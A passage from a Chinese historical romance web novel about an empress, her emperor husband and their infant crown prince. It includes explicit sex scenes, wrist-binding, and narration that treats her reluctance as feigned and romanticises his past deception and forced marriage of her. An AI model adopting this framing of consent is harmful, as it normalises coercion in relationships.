母亲接过尝了,笑意和悦,称赞今年的尚书红荔枝味道甚佳,再环视媜珠寝殿四周,叹道:
“但看你这左右吃穿用度,你说,他对你哪里不上心?哪里短了你的?”
媜珠微笑不语。
太后的目光缓缓落到那盘菱角上,猛然想起了一人来,和媜珠又说:
“仔细算算日子,你二姐姐约摸也要生了。想起小时候你们姊妹一起满院跑着玩,一夕之间竟都长大了,做母亲的做母亲,做父亲的做父亲,我也日渐老矣。——也不知道你二姐姐能生出个什么来。”
周婈珠能生出个什么来呢?
横竖肯定都是生个孩子了,她还能生出只羊羔兔崽不成?
周婈珠和段充的孩子生在太子戎百日宴的前夕,龙章三年的六月廿七深夜,在产婆的服侍帮助之下,周婈珠于琅琊公主府内秘密诞下一女。
她为此女取名“宜瑶”,段宜瑶。
这孩子的身份见不得人,玉牒族谱也不会承认琅琊公主为一个卑贱的亲卫生育过子嗣,所以她不是琅琊公主的孩子,她出生后甚至都没有洗三、满月、百日和周岁宴,她的出生不被任何人承认,没有一个宾客亲朋会为了她的降生而道喜祝福。
她的女儿出生在一片隐秘的寂静中。
但她却是她周婈珠的至宝,心肝,是瑶华珍宝,琼林宝玉。
只有她和段充会爱她,会满心满眼地爱她。有一对爱她的父母,这就足够了。
才方生产后,虚弱至极、憔悴至极的周婈珠瘫软在产榻上,满眼爱意地看着被产婆搁在自己身旁的女儿,轻轻亲吻女儿的额头。
从有了她父亲段充开始,她终于不再感到孤单;
而从今夜有了她开始,她在这世上终于有了和自己血脉相连的至亲。
她做母亲了,她也有了一个家。
乳母将宜瑶抱下去喂奶,段充陪在婈珠的身侧照顾她。
周婈珠牵唇一笑,忽地想起来问他一件事:“你跟在我身边守着我这么多年,我却没有问过你一句:你家里的人……还在吗?瑶瑶的祖父祖母他们……还在世吗?”
段充的神情微愣:“臣父母身体健壮,冀州又太平不曾遭遇战乱烽火,应当是还在世的。”
周婈珠的笑意虚弱又认真:“我去求求宫里,让他们准你我给冀州的家人去信一封,告诉他们你已娶妻生女,十年期满后,我们便带着瑶瑶回冀州去和他们重逢,但求到时候、到时候瑶瑶还能承欢祖父祖母膝下。”
段充沉默了:“是臣的身份辱没了公主,公主,臣何德何能叫您为臣做到如此地步。”
在爱她的人眼里,不论她是什么样,他都会去爱,她恶毒,蠢漏还是自私自利,都不影响他爱她。
“我不再是公主了,不过是一庶人白身,你也不是我的臣。”
她此刻颇为虚弱,头脑也还有些浑浑噩噩,仿佛连今夕是何夕也记不清楚,于是转瞬又问起了这孩子的生辰。
段充说今夜是六月廿七呢。
周婈珠愣了许久,忽然露出一个半是释然半是不甘心的笑:
“她要是再迟上几个时辰出生就好了。明天是周媜珠的生辰,是观莲节呢。她生的日子好,生辰八字好,命数也好,咱们的女儿和她一比,终究是差了一口气的,怎么偏偏就差了这一日。”
“真的和我就差了一日出生的?”
媜珠在宫里是第二日早上就收到的消息,彼时她正在椒房殿内为了太子戎的百日宴而细细梳妆挽发,云鬟雾鬓,珠翠堆叠,雍容华贵。
夏日炎热,她身上的皇后翟衣用的是冰蚕丝的素纱轻罗,色泽如金玉华贵,质地又如云烟霞雾般轻柔。
她的目光拂过裙摆上的翟翚雉纹:“先前我自己怀戎儿时还不知他是男是女,给他还备了好些女孩儿的衣裳、襁褓,可惜他用不得了,我还都留着呢,正巧能送给这孩子。她母亲若不嫌弃就好。”
佩芝上前为她挽好鬓边的一缕青丝,取出匣子里的几对耳环捧在她面前供她挑拣,侧对着媜珠时,她的眼神里对周婈珠带着一股轻蔑的傲慢与不屑:
“娘娘给女孩儿备的衣裳被褥自然都是精细金贵的,拿的都是给太后皇后才能用的料子,要是给段家的孩子用么,得把上头的鸾凤瑞兽的绣纹装饰都给剪去,那是陛下和娘娘生的公主才配用得的。”
媜珠不由失笑,“我知道你不喜欢她,不过几件孩子的衣服而已,和孩子计较什么呢。”
这个话题到此为止,毕竟今天还是媜珠的生辰,佩芝也就不愿多说什么晦气话了。
等媜珠梳妆更衣毕,乳母将太子戎也抱了过来,媜珠就叫乳母将他搁在殿内的一只婴儿吊篮里晃着他玩。
这小吊床不仅太子戎喜欢躺,灿娘子也时常光顾,太子不躺的时候它必躺在里面,太子要躺时它就只能灰溜溜地竖着尾巴跳下去,留下一床猫毛。
于是皇帝就叫人在殿内新摆了只一模一样的专门给它睡。
也许多半还是看在媜珠的面子上爱屋及乌,他果真是溺爱灿娘子的,之前灿娘子还蓄意抓伤过他,他也不和它一般见识。
媜珠逗孩子玩了一会儿,转身去梳妆台上取来那只打好了的小金锁给他戴上。
其实她原本还有一只玉锁的,是水色极好的碧绿翡翠,原本是一对两只,还是当年她祖母俪阳公主从洛阳楚宫里带来冀州的陪嫁,后来周鼎把它们一只给了长女,另一只给了嫡女。
二姐姐的那一只还在不在,媜珠不知道,不过媜珠自己的这只长命锁一直好好保存着,她小时候常戴在身上的。
原先她想送给戎儿戴,但周奉疆不准,说太子戎不配。
周奉疆说他活泼好动,又正是听不懂人话的年纪,什么东西拿到手里都不知珍惜,摔摔打打的,若是被他摔坏了反而不值得。
媜珠笑:“陛下有天下之富,您的儿子摔坏了一只玉锁又有什么稀奇?再打一只也不费劲。”
他却说:“那是你的东西,他就是不能摔。这皇位早晚是他的,等我死了,他把传国的玉玺摔了我也管不了他。但你的东西他就是碰不得。这只玉锁你从前极喜爱的,怎么能轻易给他。”
媜珠也就不好多说什么了,只能叫人新打了一只金锁给太子戎。
转瞬又有内监来通传,说是时辰到了,请皇后娘娘和太子殿下去调露殿赴宴。
自冀州分别起,时隔经年,这是张道恭第二次再度见到媜珠。
后来在他一生的记忆中,媜珠有三个样子是他毕生难以忘怀的。
第一次是他欲从冀州带她回洛阳时,她趁着周奉疆不在家中偷偷嫁他,穿着她于闺阁绣楼中亲手绣制的艳红嫁衣,她心甘情愿来嫁他,要跟他走,那是她最爱他的时候。
那个寒风肆虐的茫茫雪夜里,她紧紧握着他的手,唤他“六郎”,哭着求他赶紧带她走,带她回洛阳。
她眉目如画,艳冠天地间,明月也不可比及。
那是周奉疆永远得不到的她,至少在那一刻,她最爱的是他而不是周奉疆。
第二次是去年在夔州驿站重逢,她淡妆素面,身段清瘦、神容憔悴却仍不掩半分容色倾城,似一枝被风雨折磨得纤瘦清癯的垂丝海棠,格外楚楚动人,我见犹怜。
那一回也是她心心念念要来见他。
为了他,她的的确确背叛过周奉疆,她第二次选择的男人还是他。
可惜……她见到他时,他的样子并不体面。他毕生不愿再向人提及的耻辱之事,也被周奉疆用那样嘲弄的语气轻描淡写地捅露到她跟前。
他知道媜珠是心气高傲之人,像她那般的女子,她绝不会再对他抱有任何幻想了。
从看见她跪地呕吐直至昏迷时起,他心中便明白了,他们往后不会再有半分可能。
她永远不可能再爱他。
之后的日子里,在屈辱的圈禁生涯中,日月迢迢,他也曾不止一次地想过她被周奉疆带走后又遭遇了些什么?她和周奉疆后来怎么样了?
是被软禁、凌辱、折磨、教训?又或是那个男人当真爱她爱到毫不介怀她的背叛,爱她如初,换来了她的回心转意?
他不知道。
但在内心的潜意识里,他一度希望周奉疆杀了她。他希望她死去,他得不到她,周奉疆也不该得到她。
她就该像他的故国一般永远死在他的记忆里。
可她终究是没死的。
她不仅没死,周奉疆没舍得杀她、废她,还宠爱她不减分毫,她承宠,有孕,生子,儿子刚出生就被封为太子,她一路过得顺顺利利风风光光,今时今日他再见到她时,是在她与周奉疆儿子的百日酒宴上。
她盛妆华服,高贵倾城,怀抱稚子,站在那男人的身侧,和他共享这大好江山。
朝臣、宗亲、番邦使臣们的祝贺称颂之词连绵不断,殿内是金碧辉煌,珍馐美馔,丝竹不绝。
吉时至,殿内肃穆下来,有礼官立在殿内庄重其事地念起了长长的册立太子诏书,这封诏书写得实在太过丰富,前面先是感念祖先立下的基业与赐予后世的恩德,继而又谢过天地神灵对大魏江山的庇佑赐福,再称颂当朝皇帝开国立业的不朽功绩,极言夸赞了太子生母赵皇后身为国母的德行,期间还不忘称谢赵太后对天子的养育之恩,最后洋洋洒洒又说了一大堆为何立此子为储君的缘由,夸他生得天资不凡,亦表述了帝后二人对他来日的期盼……
最后,礼官念完了,皇帝亲手将一只小小的太子金冠扣在了襁褓婴儿的脑袋上。
这当然是扣不稳的,要是扣得紧了,孩子也会难受,给他戴一下只是象征性地走走过场,在册封礼毕,赵皇后便将他头上的金冠取了下来,不过这孩子的性子很不一般,那取下的金冠被他抓了一把狠狠攥在手里当做玩具,死活也不肯松手了。
皇帝见状发笑,朝臣宗亲们察言观色,也奉承着笑起来,太后的神容很是慈爱:
“该是他的东西永远也丢不了,就该是他的。”
这好勇斗狠的性子小小年纪便初见端倪,可见和他父亲别无二致。
张道恭在心里叹息了一声。
这是一出盛世太平景象,那他呢?
他又是以什么身份坐在殿内,位列宾客之中,亲眼去见证这些?
——一个被新朝皇帝邀请的亡国之君,以前朝旧人的身份看着他们的荣光显耀。
自古以来也不是没有前朝之君被新朝皇帝拉过来赴宴举杯同饮的,表面上是说自己宽仁大度,实则不过是把昔日的手下败将换个法子拉过来羞辱一番而已。
他知道他是这殿内的笑柄,是一只任人观赏的猴子,周奉疆只差没有再问他一句“颇思洛阳否?”,然后等着他再配合地回答一句:“此间乐,不思洛阳也。”
阶下之囚是没有说不的权力的,周奉疆想把他拉过来羞辱一番他就只能乖乖地过来,但凡他敢有半分不配合,等着他的就是悄无声息的一杯毒酒送他上路。
宴酣之时,媜珠的目光在不经意间扫向了他,停留了片刻。
周奉疆不动声色地握紧了媜珠的手,侧首吩咐倪常善:“去给违命侯报喜一声,他的淑妃昨日也给他生了个亡国公主,掌上明珠,如何不是大喜?——只不过那孩子不随他姓张,姓段。”
媜珠收回目光,嗤笑了一声:“你和他说这些做什么?他只会在心里骂一顿,骂我们周家的女儿一个两个都是下贱的荡*妇,骂我们不给他守贞,都跑去跟别的男人生孩子。”
周奉疆看着她:“你心疼了?不忍心我气他?”
媜珠抽回了自己的手:“今天还是我的生辰,你别给我找不痛快。”
她原先的确没想到周奉疆好端端地会把张道恭拉过来赴宴,见到那个早已在她记忆中消散的故人时,她心中确实有过一阵惊诧错愕。
但她并不至于生气周奉疆瞒着她做这种置气一般幼稚的事情。
转念一想,她尚能对他表示理解,毕竟谁还没有几分虚荣炫耀的心理呢?
先前在冀州时他要对着张道恭称王称殿下的,张道恭只拿他当周家的家奴视之,一贯傲气凌人,根本不拿正眼看他。
一朝岁月更改,天差地别,张道恭成了亡国奴,而周奉疆得到了他最想要的天下、女人、子嗣,他怎么能不想炫耀。
他想炫耀,她也配合他了。
媜珠没再开口和他说话。
宴毕时,太子戎也被饿得不行,在媜珠怀里馋馋地拱着她的身子暗示自己想要吃饭,周奉疆本来似乎还想和她说些什么,说他为她准备了生辰礼物,要带她去看看,媜珠一时顾及不得他,只随意敷衍了两句,赶忙带着孩子便回了寝殿里给他喂奶。
戎儿的胃口越来越大,也越来越黏着媜珠。这孩子似乎很聪明,天生便能明白生母和照顾他的乳母们之间的区别,并且多数时候只会讨好似地对着生母笑,喜欢让亲生母亲来喂养他。
天气热了,孩子也更加容易出汗,每吃一回饭定要把自己弄得满头大汗,仿佛当真费了多大的力气似的,媜珠时不时就要低头给他擦擦汗珠。
他的眉眼越长开越像周奉疆,媜珠看着他埋头吮吸的模样,一颗心在这夏日里却是前所未有的宁静。
待他吃饱喝足后,媜珠也有一阵倦意涌来,也无心思索别事,带着他懒懒地睡了个午觉。
去岁她在观莲节过生辰时,周奉疆对她格外讨好,还腾出空来陪她出宫玩了一整日,如今有了孩子,孩子又还小,媜珠也就没再想这些事,更不能丢下孩子不管。
于是前几日皇帝又提议带她出宫玩一日时,媜珠虽有心动,最终还是婉言拒绝了。
原来一年的光阴真的就这样在眨眼间消逝而过,快得像风中吹过的沙,一点也抓不住、留不下。
本来今晚上还应有一场宫宴的,但媜珠懒怠再应付,便叫人撤了,给她也留下点歇一歇的功夫。
傍晚时媜珠命人开了窗,借着一点凉爽的晚风陪孩子在殿里玩耍,周奉疆忙完后回来陪她用晚膳。
媜珠看了看他的神色:“陛下看起来不高兴似的。”
他叹气:“我是觉得你不高兴了。”
媜珠又纳闷又发笑:“我有什么可不高兴的?”
皇帝顿了顿,像是揣摩了一番媜珠的脸色,
“你今日是不是因为他生了我的气了?”
……
在长久的沉默与无奈后,媜珠也是一阵叹息。
在思索她将给他一个怎样的反应作为答复时,媜珠忽然觉得她在生产后心境改变了许多,
——是越发变得平和了。
如果是从前的她,面对周奉疆这样没完没了地试探,也许她会毫不留情地甩脸色,也许她会大发雷霆地和他吵一架……
但现在她变了,一面是无心再这样互相争吵不休,一面是觉得这些阴阳怪气毫无意义,更多的大抵是因为她爱他的情愫占了上风。
她并没有恼怒,反而是轻声对他说:“今天是我的生辰,我给你跳一支舞吧。你是不是还没有见过我跳舞的样子?”
周奉疆一愣,没想到媜珠会问出这话。
媜珠莞尔一笑:“从前爹爹有一位妾室是伶人出身,舞姿十分动人,在北地无人能出其右,母亲叫我私下跟她学过舞技,你是不是还不知道?”
彼时世风里,能歌善舞并不被认为是一位贵女必须掌握的才艺,像冀州周家那样的豪族,更不会动辄在家宴酒宴上要自家女儿出来献唱献舞当做点缀取乐。
但当时赵夫人还是要求媜珠在有条件的时候稍稍熟悉这些。
她和媜珠说,旁人不配看到她跳舞,但她以后的丈夫却可以,丈夫也是唯一一个能看到她舞姿的人。
媜珠对周奉疆说:“我有一支舞自认为跳得很好看,可是多年来并无机会给你看一看,你不想看看吗?”
“我一直很庆幸,这支舞只跳给哥哥看,并不曾献给过除了哥哥之外的任何男人,就当是我感谢哥哥当年拦住了我一时冲动、与人淫奔,谢谢哥哥当年没有让我嫁去洛阳。”
他在太液湖心的凉亭上见到了媜珠献给他的这支舞。
媜珠身着一身轻薄的水袖纱衣,舞动时身段柔婉曼妙,在一片月色下窈窕似画中美人、天上仙姬。
这片刻是只属于他的艳光美景,只属于他一个人。
一舞毕,媜珠挽起水袖,莲步依依,款款挪到他身边,素手剥了一颗碧绿的葡萄喂到他唇边,伏在他膝头仰望着他:
“我这一生最后悔的事情便是年少时曾经识人不明,错付真心,险些酿成毕生的大错。若有能重来之时,我一定一心一意只把自己托付给哥哥,不会再让哥哥为我操心费神,也一定不会再做那些不该做的蠢事了。”
她知道他想听她说什么,她愿意满足他。
周奉疆凝视着她许久,一言不发。
媜珠有些急了,轻轻摇了摇他的袖口。
他的眼神不复清明,若有所思地抚上她的腰肢:“爱妃还真是有做妖妃的本事的。朕被你哄得……恨不得也要为你烽火戏诸侯。”
她多聪明呢,一支舞,一颗喂来的葡萄,三言两语的讨好奉承,只是这些就能把他死死握在她的手心里,让他心甘情愿被她驱使,满足她的一切愿望,做她的裙下之臣。
媜珠笑颜妩媚:“妾不要天子烽火戏诸侯,妾只要芙蓉帐暖度春宵。”
“没有芙蓉帐,只有湖心亭,你也愿意?”
她很显然犹豫了一下,又有些不肯了。
不过只在她犹豫的功夫,她已被他抱在了怀里,推到了桌子上,他正好借着那长长水袖缚住了她的双腕。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
110-113
第111章
嘴上说着是不情愿的,但许多时候周奉疆看着她的反应,又总觉得她是在欲拒还迎,根本就不是真心想拒绝。
这一次也并不例外。
被他摆布着时,她只是象征性地挣扎了一下,很快便柔情似水地对他温顺了下来,任由他将她的纱缎裙摆卷起,随手堆叠在她腰腹间。
凉亭四周早已围上了一层低垂的帐幔,遮住了内里的风光。
即便如此,太液池内绿盖翠叠、葳蕤生香的莲花荷叶在夜风吹拂下轻轻摇摆,发出阵阵窸窸窣窣的摩擦声,还有那近在耳边的湖水波纹声,间或几声蛙鸣和锦鲤游动的声响,仍然叫媜珠感到了一种近乎野合般的紧张刺激感。
这是一桩她从未经历过的新奇体验。
她确实没想过真的要拒绝他。
媜珠咬唇闷哼了一声,纤细双腿已有些发软地站不直了。
他知道她是快活的,他离她那么近,他们那样亲密,她会缠着他舍不得他离开,她的一切反应他都了如指掌。
“其实上一次在陈阳陵围场春狩时……朕就想和你在马背上……”
他对媜珠提起了往事,至今仍感到遗憾,
“可惜那一次朕没舍得那样对你,朕在想,要是对你好一些,兴许你就舍不得走了,你就会留下来,陪在哥哥的身边。哥哥要是在那种地方宠幸了你,你心里一生气,说不定更要跑了,于是哥哥就没有那么做。”
他咬了咬牙,握紧了媜珠柔软的腰身,还颇有些气急败坏,
“——可是你这小白眼狼最后还是跑了!我对你容忍怜惜又有什么用处,嗯?我还不如真的就那么做了,让你肚子里揣着我的种去见你的旧情人。”
媜珠身上沁了一层薄薄的汗,长发凌乱地披散在身后,整个人像是从水里刚捞出来的,她呜呜嘤咛了两声,和他比起来,她对这些过往显得格外冷静又毫不在乎,只一心沉浸在情欲之中,受尽其中乐趣,全当是他在出力伺候她。
她并不理会他的咬牙切齿,不过是随口敷衍了两句安抚住他:“陛下要是这般无法释怀……下一次,您带着妾再去冬狩秋狝时,妾愿意伴君左右,满足陛下的执念。”
他恨恨道:“你觉得朕想要的只是这个吗?朕是要你发愿起誓,向朕保证你永远都不会再离开朕!”
媜珠被他翻了个身过来,令她正面对着他,媜珠也借着这个姿势环抱住他的腰身,低哼了两声:
“陛下!陛下……别、别离开妾呀,妾怎么舍得离开陛下呢……”
离了他,谁还会这样劳心又劳力地伺候她、捧着她宠爱她。
太液池边一溜种着十来株并蒂莲花,株株不同,都是从各地搜罗着送来长安的,是他为她满天下寻来的生辰礼物。
夜风低拂,水佩风裳,这又是一夜风月无边。
后来这一夜在媜珠的记忆中分外刻骨铭心,永世难忘。
八月寒露,太子戎开始变得有些暴躁,难得地会时常大哭,居然开始不怎么好好喝奶了,帝后很是焦虑难安,医者却说小殿下是要长牙了。
果不其然,很快他便隐隐约约长出了两颗小小的乳牙,看着颇有些人样了。
九月霜降,他半岁了,媜珠将他抱在怀里稳住身子,周奉疆给他喂了一小碗细腻的羊肉蛋黄米糊,这是他第一次张口吃肉、第一次正经吃上人饭,媜珠本来还怕他会不适应,没想到他大口大口吃得正香,半点也不挑食,吃完了就呼呼大睡。
没过几日,膳房又做了碗梨肉浆,取新鲜的秋梨果肉细细研磨成糊状来给小太子尝,他也很喜欢这鲜甜的东西,把一小碗梨肉给吃得干干净净。
他不仅吃得香睡得好,而且半年来无病无灾,没生过半点小病,不知叫父母长辈省了多少心。
——不过这也并非半点坏处没有。
因为从他开口吃过人饭起,他就变得更馋了,以前只是馋母亲的母乳,现在每每用膳时看着他父母在饭桌上,他什么都想放进口中尝一尝,也做出了许多令人发笑的反应。
不仅馋父母的饭,连灿娘子吃东西他都无比好奇。有一回皇帝随手丢了条鱼干赏给灿娘子,灿娘子故意显摆,叼在太子戎面前的地上啃起来,急得戎儿指着它嗯嗯啊啊叫个不停,媜珠作势说要把那鱼干抢来给他尝尝,肥嘟嘟的灿娘子吓得一溜烟叼着鱼干跑没了影,左右侍立的宫娥们俱忍不住发笑。
龙章三年的凛冬再至时,太子戎已经平安长到八九个月了,开始会满地乱爬,精力甚至比媜珠这个母亲还足,媜珠每日有大半的功夫要花在陪他玩耍上面。
王医丞力劝帝后二人要可着劲地给太子在这个年纪多爬一爬,不必早早地着急哄他学会站立行走,说是孩子小时候爬得厉害了,长大后身子才稳健,于他日后习武骑射都有好处的。
听他都这样说了,初为父母的帝后二人没有不信的道理,只能愈发花费时间陪孩子玩耍。
媜珠的寝宫内殿里铺着厚实柔软干净的狐皮地毯,烧着旺盛的炭火,冬日里也温暖如春,地上零零散散地丢着好几样小太子的玩具——好几件还是灿娘子先前玩剩下的东西,正巧又能拿来哄孩子了。
而媜珠则会陪着孩子屈膝跪坐在地上,抓着小玩具哄他这边爬一爬那边爬一爬,还要时不时擦擦他的口水和冒出来的汗珠。
这时候养着灿娘子这只肥猫的好处才稍稍显现出来,媜珠累了,没有精神再逗孩子了,她就将灿娘子捉来丢在地毯上,太子戎自会手脚并用地爬来爬去,去追逐灿娘子毛绒绒的大尾巴,而媜珠只要看着孩子不把猫毛往嘴里塞就是了。
戎儿的存在,为他们夫妻二人平添了无数乐趣。
冬日的某天傍晚时分,在宣室殿处理完了一整日的政务后,皇帝回椒房殿时眉眼间已透着几分乏味倦怠。
他在珠帘外更衣换履,步入内殿,只见媜珠跪坐在雪白的狐绒地毯上,手中拿着一只灿娘子数年前玩剩下的拨浪鼓在逗孩子,姿态温婉柔静,而戎儿早已听得了他父亲回来的动静,已无心再管那只拨浪鼓的声响,东张西望地到处找他父亲呢。
见父亲过来,他高兴地咯咯发笑,手足并用地朝着父亲爬过去,因殿内十分温暖,他玩得厉害了又容易出汗,媜珠没给他穿太多,只给他套了件明黄的蟠龙祥云纹肚兜儿,露着他白白胖胖藕节一般健壮的四肢,手腕上戴着一对银镯,银铃随着他的动作叮铃作响。
他三两下爬到了周奉疆身边,揪了揪父亲的袍摆,笑得愈发高兴起来。
周奉疆俯身将他抱起来,身心的疲倦便被这稚子一扫而光,他抚了抚孩子厚实的背:“今天乖不乖?有没有好好吃饭?有没有好好睡觉?”
媜珠替孩子回答了:“今天给他吃了一小碗鱼肉羹,他也喜欢的,还吃了点桃肉糊,给他尝了一口蜜浆水,他白日里睡得也安稳。”
他听罢宠溺地看向媜珠:“朕问的是你。”
媜珠一愣,白了他一眼,但笑不语。
见皇帝抱着太子在怀里哄,灿娘子溜过来喵喵叫地蹭着他的小腿,暗示自己也需要被主人安抚,周奉疆看着这殿内光景,忽然竟有了种夫妻恩爱、儿女双全承欢膝下的天伦之乐的感觉了。
他叹了口气,媜珠便问陛下为何而叹。
皇帝如实回答:“灿娘再好,也只能假充女儿养着逗一逗而已,终归不是朕的亲生女儿,朕到底人生有憾,没有一个像你这般美丽乖顺的女儿。”
媜珠笑:“妾这样养不熟的白眼狼已经有一个了,可见陛下还不嫌厌烦,还想要一只像妾一般没良心的小白眼狼?”
周奉疆不由挑眉:“朕不过先前教训你几句罢了,你还要记仇到如今?”
“不记仇还怎么当得起陛下教训的这句白眼狼呢。”
他也不恼,只附和了一声:“那还是娘娘说得有道理。”
夜里到床榻上照旧还有一场旖旎风月,他对她的身体热情不减,然而云雨时却愈发呵护体贴,抚弄她的身子时分外温柔,缱绻怜惜。
有时媜珠也会感到一阵惊奇,男人违背起誓言来总是十分容易的,尤其是在床上答应下来的事情,更不能轻易入耳去听,但他一心遵守起承诺来似乎也并不是什么难事,只看他想不想罢了。
他再没有蓄意折辱过她,她不喜欢他说的话、她不喜欢的事情,他果真不曾再说过、做过。
她的身体早已接受了他、依赖了他,也早已不再抗拒床笫之事,以至于每回总会主动迎合承受,对他十分热情。
这段时日两人在床榻上无比和谐,没有半分矛盾,连带着夫妻之间愈发情浓。
可是……他像对待一尊瓷器般爱护她,仿佛她多么的容易磕碰,仿佛她又像是一团容易消散的云雾那样脆弱,他对她已经够好了,他真的改了,和以前不一样了。
她心中又像是还有一个未曾被满足的缺口,隐约感到仍是不顺意,却说不清这层空虚到底来自于何处。
房事毕,床帐内是一片糜艳的甜香,媜珠裸着身子靠在他怀里慢慢平复剧烈的心跳和颤栗痉挛的身体。
他为她擦拭了身体,轻轻吻她的脸颊,两人忽又提起了关于“女儿”的事情。
媜珠问他:“陛下真的想要妾再为您生个女儿吗?”
皇帝说想:“朕想要一个像你小时候一样的女儿,像你一样可爱。”
媜珠又问:“陛下不喜欢戎儿吗?”
“喜欢,只要是你生的,朕都喜欢。他更像朕,和你小时候的脾气秉性并不太像,朕还是最喜欢你的样子。你小时候的样子哥哥还历历在目,并不曾忘。”
媜珠唇畔露出笑意:“为什么哥哥还这么想要个像我一样的女儿呢?”
“因为哥哥想把你再重新养大一遍,会把曾经我无权无势时没来得及给你的宠爱和荣耀加倍偿还在她身上。你小的时候我便立誓想要给你世间最好的一切珍宝,可我那时候还不能做到,这是哥哥毕生的憾事。我们的女儿一定会是这世上最令人羡慕的公主。”
第112章
有些遗憾之所以会成为遗憾,是因为他自认为这个心愿应当是很难实现的。
虽然周奉疆嘴上说着想要媜珠再为他生个女儿,但实际上他还是舍不得叫媜珠再承受一次怀孕分娩之苦的,——更何况她现在才生产完不到一年。
一次怀孕,意味着她至少要有一年多的时间饱受身体折磨和怀胎所带来的风险,她前前后后要承受多大的苦楚啊?
陪伴她度过了一次完整的孕期,她怀孕时无可避免的焦虑、痛苦和种种情绪失常,他全然看在眼里。
孩子么,有一个也就够了,实在觉得不行,还能勉强把灿娘子这样的猫犬拉来凑个数,养在殿里、抱在怀中,逗一逗,摸一摸,也就有几分儿女绕膝似的美满了。
自她产后他们开始有床笫之事时起,他便又饮起了那男子避子的凉药,舍不得真的叫她刚生完一个就怀上下一胎,兔子似的一窝接一窝生个没完,把她的身子都会给拖垮了。
这件事上赵太后对他的自觉和他怜惜媜珠的那份心意相当满意,满口都是说他好,说媜珠真是三生有幸托付给他。
年末时长安城又下起了一场大雪,有红梅迎雪绽放,孩子被闷在殿里数日也颇为烦闷,嘴里总嘟嘟囔囔地暗示自己想要出去玩。
媜珠将太子戎层层叠叠裹得严严实实,在雪停后带他去看了他人生中看到的第一场雪。
她如今是抱不动他了,是周奉疆将这被包得好大一团的孩子抱在怀里。
他一面抱着太子戎,一边还小心搀扶着媜珠的手,怕她摔倒在这雪地里。
红梅暗香映衬着她在这雪地里似跌落尘世的仙姬,艳杀天地间。
太子戎觉得这雪景十分新奇有趣,半点不觉寒冷,还咯咯笑个不停,玩了许久也不肯回去,周奉疆一要抱着他往回走了,他便作势瘪嘴准备哭出来似的。
除夕宫宴上,他得到了人生中的第一份压胜钱,媜珠将他祖母赵太后赏他的那枚铜币以红绳穿好,戴在他的脖颈间,为他镇恶驱邪、保佑平安。
这天夜里,听着外头许久连绵不断的烟花爆竹之声,太子戎也毫无睡意,拾着几件自己的玩具趴在床榻上玩着,十足的精神抖擞。
媜珠披着寝衣靠坐在玫瑰圈椅里,膝头随意搭着一件紫貂皮的裘衣,灿娘子依偎在她脚边,她满眼爱意地看着自己的孩子,一边漫不经心地和周奉疆聊着天。
他们一家三口一起守岁。
这是他们一家三口在一起度过的第一个年,后来再想想,居然也是周奉疆在人世间三十年,到了而立之年才真正拥有的、第一个安安心心度过的年。
这才是他真正的家,一个令他感到安心的、惬意的家。
六岁之前和生母在一起时,他们的年节是寂寥的、寒冷的、饥饿的、苦涩的。
继而他被周家收养,周家令他摆脱了饥寒交迫的窘境,但在周家他又是寄人篱下的、旁人眼中近乎家奴一般的存在,他并没有归属感,也不能真切地觉得幸福。
更后来他成了周家的家主,他也成了媜珠的丈夫,他和她夫妻二人在一起过了许多年,那是他们两个人度过的除夕。
可是面对媜珠时,他的心还是虚的,那时候他不知道究竟何时他对她的骗婚和强占之事会东窗事发,更不知何时能真正得到她的心。
唯有此刻。
他看着媜珠,看着在床榻上无忧无虑玩耍的稚子、那个他们共同的血脉,三十年来,他的心终于安定了下来。
翻过年来是龙章四年,春意融融,又是一年桃柳争妍、莺飞草长的好时节,太子戎开始有意识地学会叫“娘娘”“陛下”了。
这是跟着身边的宫人们学来的,听他们这样唤他的父母,他也就学着这样开了口。
媜珠纠正了他几次,叫他学会喊爹喊娘和祖母“阿婆”,他也很上道,很快就改过来了,并且叫的还越来越响亮。
然而实际上这孩子第一次叫出“爹娘”时,是在一个颇为尴尬的午后。
那一日媜珠哄着他睡着了,将他搁在他自己的小床里躺好,还给他盖好了小被子,而她则半推半就地被皇帝带到了榻上去。
正是在床帷之内的动静声响最酣畅时,媜珠脑中一个激灵,隐约听见了似乎有人在唤她,那是一声清脆响亮的“阿娘”,是她人生中第一次被人以母亲的身份唤之。
她霍然睁开双目,挣扎着低吟喘息了两声,推了推身上的人,
“戎儿是不是醒了?他是不是在叫我?”
周奉疆顿了顿,也吐出一口粗气,不知他正要对媜珠说什么,但这话最终没说出口,因为太子戎又中气十足地喊出了一声“爹爹”。
这一次他们两人都听清了。
沉默半晌,在情欲与父爱中纠结了一番后,他认命地从媜珠身上抽身离去,一面整了整自己散乱的衣袍,一面向外头太子戎的小床边走去。
媜珠也从榻上爬了起来,披上衣裳,手忙脚乱地拢好衣襟去看孩子。
太子戎不知是何时睡醒了,看脸上还有几分睡意懵懂的样子,恐怕还是被他们给吵醒的,醒来后不见身边有人,自然下意识地喊叫起来。
周奉疆将他从小床上抱了起来,拍了拍他的后背:
“叫爹叫得这么响亮……真是老子的好儿子!”
媜珠没看清他的神色,不知道他说这话时是宠溺欣慰还是咬牙切齿。
不过后来他准备要做什么的时候,就坚决不留太子戎在他们殿内午睡了。
春日里时常也有这样深宫之内的天伦之乐场景,挑着某一日天气晴好、百卉含英,帝后二人带着孩子陪赵太后在花苑里漫步小逛,闲话赏春,或是在凉亭里坐下稍稍歇息,饮一盏碧螺春,尝一碟茯苓糕、百花酥,再温馨不过了。
小太子也喜欢在外头满园里乱逛玩耍,摇摇晃晃地学会了走路。
他年纪小,却是极有性格的。他不喜欢老嬷嬷老太监们陪他玩,约莫是这些人总是满脸忧心忡忡地怕他摔倒,他走一步,他们就伸长了双臂小心地四处护着他,满嘴里不是“哎呦哎呦”就是“当心当心”。
心当然是好心,可这自然亦很扫小太子的兴。
倪常善、佩芝和福蓉他们都不得他喜爱,太子不要他们陪玩。
媜珠也说过了几次:“小孩子没有不磕磕碰碰的,这是在所难免。连陛下都说了,他要摔就任他摔去,孩子都是跌跌打打才长大的,摔了再扶起来就是了。你们都是宫里的老人了,还这样小心谨慎做什么?难道本宫和陛下还会为了这点小事责罚你们么?”
他们一面请罪一面奉承:“是奴等老了,不中用,得不了小殿下的喜欢,娘娘千辛万苦为陛下生下的千金万金贵重的皇儿,奴等怎么舍得小殿下摔了半下呢。”
于是倪常善就引荐了他年轻的干儿子倪赐清来侍奉小太子,太后和媜珠听了倒也觉得不错,就将他调来服侍戎儿,每日里陪着戎儿玩。
